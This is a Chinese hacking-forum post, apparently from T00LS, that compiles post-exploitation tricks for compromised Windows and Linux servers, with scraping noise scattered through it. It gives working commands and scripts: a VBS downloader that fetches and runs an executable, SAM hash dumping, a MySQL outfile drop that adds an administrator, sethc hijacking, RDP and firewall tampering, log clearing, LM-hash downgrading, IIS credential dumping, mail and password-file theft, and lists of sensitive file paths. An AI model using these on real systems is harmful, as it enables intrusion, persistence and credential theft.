6 Z) D' X9 l7 \$ O+ Ccalling nmount()

2 r% q* K" m, M) \# }! c' J（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
1 f9 M0 W3 _) e感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
9 g; W( j# O$ t1 |, H( r1 \' ?————————————————————————————
( x% W2 s( A, Y' S! E5 P7 L2 h! C. o( V1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
) Z6 ]( ]3 Q" H$ z4 v% a5 l4 y{
; ]  d! e2 v1 f- r( x0 j4 F注：
* v# {' m" d1 C5 z! @5 {. n$ c关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
5 s7 O5 k! h1 F6 c3 C7 ^5 b" J8 U( T; L那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
; P  b4 R0 h8 c3 G" l* ~* B
提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
. x. U, i$ v2 \+ t& X1 v! \命令行RAR打包~~·
, G: i! y! n0 A1 m, F+ G8 grar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
% V& D! w0 x! C; Y' C6 n& C: tfor window：

@echo off
echo #########system info collection
- N; ^6 B9 S! I, Asysteminfo
* l* l3 v' I9 ~! ]; |ver
" l9 m' Z& Z# b! G) J  {hostname
net user
net localgroup
net localgroup administrators
" d) `7 i" u& V& v8 M4 c2 h9 Mnet user guest
" D9 R- G( _, g  a# S; Gnet user administrator

! Y3 O+ [8 [$ [! N: o# {$ Becho #######at- with   atq#####
echo schtask /query

echo
echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
! j. \& Q1 c! N; F# X3 K% K- ~ipconfig/all
route print
arp -a
" D5 J! U/ Y& s2 dnetstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
echo #######file-##############
cd \
9 S2 L, v5 o1 d" X2 {( {" Q  W& G4 Z1 ~tree -F
for linux：

* f  H' [3 F4 A/ _2 \#!/bin/bash
. n/ E) L2 ^- @1 j  P
echo #######geting sysinfo####
( ^: `; S9 {2 Y5 I; }; yecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
: e! h8 k3 I- B6 o9 \/ qecho
- B6 {  d/ w' K& u" [( i6 Zcat /proc/cpuinfo
echo
  T! s' ~- I3 {/ g4 x# d, wrpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null

% L6 v# y1 U8 r
echo 'u'r id is' `id`
4 _3 |8 D) Q0 Z, s3 E9 kecho ###atq&crontab#####
7 w$ E  ]9 s) S# Latq
crontab -l
/ L, @2 H, p  T' a9 @echo #####about var#####
7 B) H# f3 N# A' }5 Tset
) i* l% g/ I5 h8 \- ?' ~+ H+ q
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
# R3 i% Z$ a- R( |' A4 n+ Qcat /etc/hosts
* A( o8 N7 r  _; Lhostname
( J1 U, J' f3 J; u- f, {ipconfig -a
0 u. X( _" J  c. C5 }$ S: {" D  uarp -v
' S$ v) @. l5 L* X! D( Yecho ########user####
, B( B/ {3 J7 f# c7 ?5 G% Ccat /etc/passwd|grep -i sh
- s; A) k* A$ `9 |
2 }- A5 }' V5 d& P' c* Z3 A* vecho ######service####
chkconfig --list
) R6 e  E" J: I" G3 q8 n6 {
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
, t  x% B( W7 e: C/ Mdone
- X4 y! n9 m% T6 f% X" u$ \
locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
' v6 P3 _# C8 r- X! J: y8 A- v% flocate conf >/tmp/sysconfig 2>dev/null
sleep 5
4 H/ A& n# R4 M2 e2 @7 klocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
- ~$ Z( P) G+ N
###maybe can use "tree /"###
! T7 f5 @8 K3 Q; z7 l3 [. \/ wecho ##packing up#########
4 Y" s! h* T5 ?, L8 b0 N) e6 `tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
' ]9 T3 v: _2 T2 L+ q+ [+ M3、ethash 不免杀怎么获取本机hash。
6 Q9 D1 I4 I* d( i首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
* i8 r; Q& k3 y- ^接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
' Z( h  S: \% m) [- G- n& khash 抓完了记得把自己的账户密码改过来哦！
  [1 G6 {% ~" k- J据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
5 g+ P# m: g( o" a* Q——————————————
4、vbs 下载者
1
3 R' o( y& A3 q0 B( i0 b2 h! U, e1 J$ kecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
5 K; P# G4 x6 y. N" H* Becho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
  b2 `1 U4 Q4 ]9 k+ i! \" r/ _echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

1 |* k& L' m4 Q3 |' V3 s8 }2
On Error Resume Nextim iRemote,iLocal,s1,s2
/ Z3 Q) Y* [9 H$ o! I" |iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
7 h7 J- p" W  K' K- u* |Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
2 ~3 d$ r- r! u* M6 Q" C- H  ESet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

4 x/ s2 K: @9 b. p1 M当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
! C6 ~, ?! H) T——————————————————
7 c2 E3 \" `+ N: h1 {* y7 {8 k5、
$ Z' n+ c( w, ?! T1.查询终端端口
& Z% J1 j" o5 p+ JREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
* r, t" m! i- G2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
; v/ K3 o- Y6 `/ y7 JREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
2 R+ N  X: C! i8 p: K& t- TREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
7 m0 T1 s' D5 q, M: JREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
2 ]+ d- F5 @  c$ f$ D. ^$ \————————————————
- ^  O/ b$ q$ J5 l, u6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
5 t& P* u; Y7 t' qinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
9 e' h1 i  t( kselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
( m3 P- }# s! r8 ?0 m7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8 u. Y" i/ S- s8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
1 W0 s* W7 e9 F# l2 g  
- {/ Z: z4 c( L3 U0 ~! L1 w  f  for /d %i in (???) do @echo %i
2 X# G! ^# d1 H; Y) ?$ h
把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
! y. D4 z8 C: a- Y: j  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

) f+ I" j( D) g. q" o, C7 Hfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
5 _8 n8 s3 k" t+ a  a4 d
3.for /f %i in (c:\1.txt) do echo %i
3 h1 D& z$ Z8 x  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

  @* h' Z  h8 o$ c1 u+ j. F4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
& l" p8 j- Y0 m6 z, ^/ a
% s+ l- b! Z* l  delims=后的空格是分隔符 tokens是取第几个位置
——————————
# ^& ^5 B! K2 S: o●注册表:
3 h2 k) k' o3 D* F' Z/ d1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
: ^/ G5 U/ B  I$ |0 UHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
5 m2 O! R7 O9 |" @$ `+ E) F修改PortNumber.
* k4 z& X5 y! r% z* B9 }. X
3.清除3389登录记录:
. y* ?/ D4 y8 C. ]reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
! \; H: ^( v% i
7 J8 O$ k; g+ I4.Radmin密码:
: R  \  B5 f( Z( J" F+ vreg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

$ Z( h' H5 ]8 U" ^6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
4 N9 x; l, p6 A0 F9 G或者
2 Q' L  U( w6 Z% E; Jnetsh ipsec dynamic set config ipsecexempt value=0
! U4 V" U: X0 U" f3 A7 s0 i: M7 ^+ G
7 ?: Y% _- o2 u* x' }1 I7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

' P2 q* V% j% F8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

& m" g7 K1 t3 g& U( t: [6 f9.另类方法抓系统密码HASH
3 q' o" W7 I/ G( k/ u" oreg save hklm\sam c:\sam.hive
# Q5 G* n7 Q2 M7 ]- z0 @2 ~reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

. L* Q3 ~, w: X6 F8 j4 G; r1 i/ p; F10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
7 @( B& V: H& ]/ a3 f# s-----------------------------------
% C0 E$ J; _, [$ e  o星外vbs(注：测试通过，好东西）
6 S$ C+ [- h/ J& L* L& i, DSet ObjService=GetObject("IIS://LocalHost/W3SVC")
( r0 u9 T7 R7 W5 A3 l- MFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
- r  @1 Y- Y1 s: H9 q9 }, f3 ^if IsNumeric(childObjectName)=true then
- Z: |, j5 w+ ^. w7 [5 Qset IIs=objservice.GetObject("IIsWebServer",childObjectName)
+ W5 {( Q8 A% v1 Kif err.number<>0 then
! s% W$ a( N' r# w9 lexit for
$ E8 r2 C! f( p* G! Nmsgbox("error!")
( g$ L% v2 s2 [% _' k4 [  N! v' H! Fwscript.quit
end if
serverbindings=IIS.serverBindings
7 f9 U# w! W* U! TServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
; ^0 q# X$ J; ?3 L# f  P3 k! Tuser=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
( j" w, k$ d. Z8 ~! F" kpath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
3 d7 v" L) |& ?# W& M7 x$ Jwscript.echo list
Set ObjService=Nothing
: c4 o1 T# i+ f3 u5 twscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
  X- N2 T0 }/ `9 @- r, L! l2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
# i- M8 I/ x$ @8 x5 q将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
! ?9 P) m/ f  j1 r' C* ^' ]* K7 h0 w7 FPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
: r6 T) T* q9 B; L url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
& F) g$ {7 }$ `  [: U8 q: S0 O6 v) ?
==============================================================
LINUX常见路径：
. T! L9 Q. P: {8 f
/etc/passwd
/etc/shadow
/etc/fstab
" ]0 M1 c# p* r- @1 s/etc/host.conf
! U: ~0 F( I0 A3 T8 S/etc/motd
/etc/ld.so.conf
8 |- |( Z" H2 |/var/www/htdocs/index.php
; ]$ c; h  T4 q/ T9 w; E: p/var/www/conf/httpd.conf
/var/www/htdocs/index.html
6 v, k1 Q# B, u- d3 }* F8 h/ u/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
, o0 C2 E, F9 m: I2 t6 B0 z# V: c/opt/www/htdocs/index.php
- s0 B1 p9 r. O6 r( x& `4 D1 B; ~+ r: V/opt/www/htdocs/index.html
! l# q- ]5 G" B( ?1 ~% B/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
' |3 c' b/ L/ J; w' L% K/usr/local/apache2/htdocs/index.php
4 \. u6 c1 [8 B/usr/local/httpd2.2/htdocs/index.php
# h( z, e& [5 I5 j$ }+ J/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
( o3 e, H8 ?& C: \. N  L3 ~/etc/httpd/htdocs/index.php
# c9 Y: }( O$ w8 H9 I# w/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
; d+ C5 Q9 j$ ^1 j: q' H8 ]7 f* m$ r/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
' t; }2 b3 _5 e0 }& x" B0 i/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
: V2 B: I& C1 E: o/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
) s! t+ ?4 y2 [/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
  M  N: x3 s4 I( n) c. W/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
! |0 {2 L( {( \, |2 a/etc/httpd/logs/error.log
) Y* `) P# A5 F+ Z6 g* x) i- [/etc/httpd/logs/access_log
  ?, d! @3 I/ R2 D/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
% T* |/ w; V) \( Y% u( K/home/apache2/conf/httpd.conf
7 `) b3 O' R& y0 m: R/var/log/apache/error_log
/var/log/apache/error.log
) \, }& ~& E/ j1 s1 _& H/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
& D, }% v( t0 k1 I( U/var/log/apache2/access_log
/var/log/apache2/access.log
9 i8 n; G" |6 w" x; J. V/var/www/logs/error_log
/var/www/logs/error.log
& r4 v/ R0 q5 Q4 f6 W7 L: V/ _/var/www/logs/access_log
/var/www/logs/access.log
$ x' x' o4 h/ }; ~3 ^% `- S/usr/local/apache/logs/error_log
# N; @! n" F. P7 N' X/usr/local/apache/logs/error.log
3 j; K% p. v1 N! Q0 R/ O/usr/local/apache/logs/access_log
! w% N& m/ l$ ]1 w- d$ w/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
: X8 |: b* E0 B) C/var/log/access_log
) n8 m# K, {, S/ M1 I/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
! F1 o$ f+ p* H/ v8 g/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
# q1 O- f( ], m& d1 X* \/usr/lib/php/php.ini
5 M+ {5 X: K; S3 l  {/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
" O1 M# u% C. M* n; L% g/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
  [# g* f% G( O( C9 _/ p6 Q/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
6 A$ M" h# I0 q& k/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
7 t2 q2 D, a# A! e2 h4 x, t  t/etc/php5/apache2/php.ini
; u+ c: c0 o# U0 u/etc/php/php.ini
; {/ ~& E$ w/ c- f2 G  P4 K/etc/php/php4/php.ini
; H- e" V/ T& ?7 u: [/etc/php/apache/php.ini
+ X+ ^( O/ L4 T1 Z# ~/etc/php/apache2/php.ini
; c6 a2 X8 h6 M7 d. r9 k4 E. k1 ^/web/conf/php.ini
/usr/local/Zend/etc/php.ini
. K/ f! O0 [8 e1 M% y3 J6 c! ?& |) x/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
4 Y5 u, |3 S: \( W5 K/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
7 M' C, V, _9 O1 j/etc/php4/cgi/php.ini
* [$ I; g2 ~) U: X; e# h/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
% Q( K3 |9 X5 I9 o/ l  j; c" a& D8 F/php/php.ini
6 d6 R* `, ~/ G6 g# s* w. u4 r/PHP/php.ini
* [. x$ _2 u6 ~3 N4 E3 p/apache/php/php.ini
# r2 G7 r- w* A5 D/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
, u8 f" L' G! L- h- U; T5 R* H5 Z/NetServer/bin/stable/apache/php.ini
+ |* Z5 T# l: l3 b: [; ~0 a/home2/bin/stable/apache/php.ini
& a9 t  `# U2 P1 y+ W/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
; y# A4 Z( n" w/var/lib/mysql/my.cnf
" `' q2 ?. u9 o+ }4 {! C/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
. x* @6 g8 M( x! x) k/etc/mysql/my.cnf
7 E# d5 z  l( b" y* p$ ^; ?, R/etc/my.cnf
/usr/local/cpanel/logs
: a) @8 T) d* J7 m( w3 b9 }/usr/local/cpanel/logs/stats_log
2 K/ ]" ]% y7 S+ x' f4 c/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
7 p1 {: [- }; J& t3 ^/usr/local/cpanel/logs/license_log
7 D- H: Y2 K( |9 }: ?/usr/local/cpanel/logs/login_log
) T! m  x9 A* [& \8 `/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
4 D' A5 \3 l4 s8 ?: |- J* ~$ L1 \/usr/local/share/examples/php/php.ini
* F4 ~8 \2 B/ n' D
& K* ]# F7 y! R1 ^2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
3 R9 \9 ?9 B. c9 ^% v% M. ^  M
c:\windows\php.ini
c:\boot.ini
c:\1.txt
6 }) Z/ m) o  c9 d- w+ z1 ec:\a.txt

c:\CMailServer\config.ini
$ `1 y4 o! {; f! b+ ~c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
2 O/ a- A1 h; j+ v# kc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
9 |6 l  r0 j6 W- y. ^5 v, p$ t+ WC:\WinWebMail\Web\default.asp
( {+ E" A$ p' W6 A+ ]* [C:\WINDOWS\FreeHost32.dll
6 ~3 X) F: _  I% w: S. |! ]C:\WINDOWS\7i24iislog4.exe
$ ~/ P" ?- R7 s/ _/ s4 zC:\WINDOWS\7i24tool.exe
# a) ^6 b) k5 H
c:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
. }2 j# A5 x7 u  eC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
3 n' J3 p" X  d# x) Z! v6 d. X) wC:\WINDOWS\web.config
& `4 Y9 ]# L; n. @6 [( p5 y9 B: ac:\web\index.html
" z9 ]/ B( M( Q) D: g& y* sc:\www\index.html
c:\WWWROOT\index.html
! C$ X4 Y' t8 g6 Xc:\website\index.html
- |) `+ i, \9 nc:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
! B. e8 n8 v4 d* o0 qc:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
- h9 l1 J' e1 d! z  w/ S# `0 }9 ?c:\WWWROOT\index.php
c:\WWWsite\index.php
, B% m, m& J0 o( M) |2 k  Uc:\web\default.html
( r; ?$ I  Y) W  E. ]$ g  f" f( }c:\www\default.html
c:\WWWROOT\default.html
9 B- I" Q0 _/ T- V1 o( }% G2 yc:\website\default.html
c:\web\default.asp
' c* P) [) u! H/ gc:\www\default.asp
7 h4 i9 b1 C; b- v$ i/ B0 j6 uc:\wwwsite\default.asp
# H7 P, L# b. q( D7 U2 I* H: zc:\WWWROOT\default.asp
6 k# {3 g3 P: t0 j6 z# @3 xc:\web\default.php
c:\www\default.php
( ?# v. l2 _/ g- H( Y! Ec:\WWWROOT\default.php
+ y# A: B7 J1 ~* A1 W! e$ Rc:\WWWsite\default.php
) v7 }; J! Q# j+ ]9 IC:\Inetpub\wwwroot\pagerror.gif
2 ^; V( V9 L, ~: ?6 c; lc:\windows\notepad.exe
' f; d0 {- V. M5 P# S7 ~6 V4 tc:\winnt\notepad.exe
0 ~& Y% g% U" N. b- D8 P' eC:\Program Files\Microsoft Office\OFFICE10\winword.exe
/ P# c: Z: O+ k: L: W7 W; \/ sC:\Program Files\Microsoft Office\OFFICE11\winword.exe
2 ~& b  Q, c2 l" dC:\Program Files\Microsoft Office\OFFICE12\winword.exe
7 I3 f4 i& F, ^( o1 Q. M+ ^6 _C:\Program Files\Internet Explorer\IEXPLORE.EXE
) A# t- R( ^6 N. F' a& tC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
" U) o& C& T# F/ b4 W& s* xC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
  D  a- r1 }8 @7 R& lc:\ravbin\store.ini
8 g% H9 B7 b( h# J0 Fc:\rising.ini
1 F% M+ P- I9 w& H* P7 b6 \- B$ y% S$ wC:\Program Files\Rising\Rav\RsTask.xml
, i7 Z7 I- B0 a  p* j. ?. |C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
) l5 Q! O* K6 F7 e. t) ^0 JC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
& u, e! O  u# x8 A" T& QC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
& I; x0 \  F* s% _$ l9 MC:\Documents and Settings\Administrator\桌面\1.txt
& ^7 F$ _% @& gC:\Documents and Settings\Administrator\My Documents\a.txt
) M* ^4 f& n' s: W5 _, n1 q, W% VC:\Documents and Settings\Administrator\桌面\a.txt
4 H7 k7 T" f' ~& t2 j  FC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
) N, G( t5 v% g7 cC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
* ?2 A5 ]- W: Z9 g8 u: }C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
4 L* {* I3 C3 N8 P5 \C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
! c0 [. x; P' H# |7 TC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
" }) x6 ]4 o5 G/ KC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
5 y5 K# @( V8 [$ u- f- kC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
& l" J6 l' e& e" N7 K4 ^2 fC:\MySQL\MySQL Server 5.0\my.ini
+ G) I$ y' e, }* {/ ^3 L5 OC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
) w4 Z4 y, L/ K) z3 p% EC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
8 D7 C( s9 i  |' m0 T1 U1 _C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
1 [4 R) D# e2 s6 R2 a, ^+ v5 |2 Bc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
. p  J* H& N* C9 I6 G7 Q0 {: sC:\Program Files\Oracle\oraconfig\Lpk.dll
) O2 U  C' @+ k# B, j2 W) vC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
, j5 G; F' r! m% o# ?* C0 s; OC:\WINDOWS\system32\inetsrv\inetinfo.exe
) s: M8 d7 R% {: rC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
1 ^) D, Z8 H' ?9 X% h4 FC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
" f' U, v  b' oc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
9 ~9 h/ S% r3 l( vc:\tomcat\bin\version.sh
% b0 V9 I" U: E$ q$ pc:\program files\tomcat6\bin\version.sh
; s: c* m. l% w  @C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
) H5 A* F. l  g* C8 s* s2 rc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
